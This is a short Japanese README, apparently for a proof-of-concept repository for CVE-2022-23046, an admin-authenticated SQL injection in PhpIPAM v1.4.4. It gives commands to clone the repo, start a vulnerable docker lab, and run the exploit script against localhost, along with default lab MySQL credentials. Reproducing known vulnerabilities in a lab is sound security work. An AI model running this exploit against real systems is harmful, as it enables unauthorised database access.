
PhpIPAM v1.4.4におけるSQLインジェクションの脆弱性
PhpIPAM v1.4.4 では、認証された管理者ユーザーが app/admin/routing/edit-bgp-mapping-search.php を介してサブネットを検索する際に、"subnet" パラメータに SQL 文を注入することができます。
git clone https://github.com/dnr6419/CVE-2022-23046.git
cd CVE-2022-23046 && docker-compose up -d
pip3(or pip) install -r requirements.txt
python3(or python) CVE-2022-23046.py -h
2-2. [自動データベースインストール] を選択してください。
2-3. MySQL のユーザー名とパスワードは "root" / "my_secret_mysql_root_pass" です。
2-4. インストールが完了したことを確認するために、パスワードを設定してログインします。

python3 CVE-2022-23046.py --url http://localhost --user admin
# and input your password
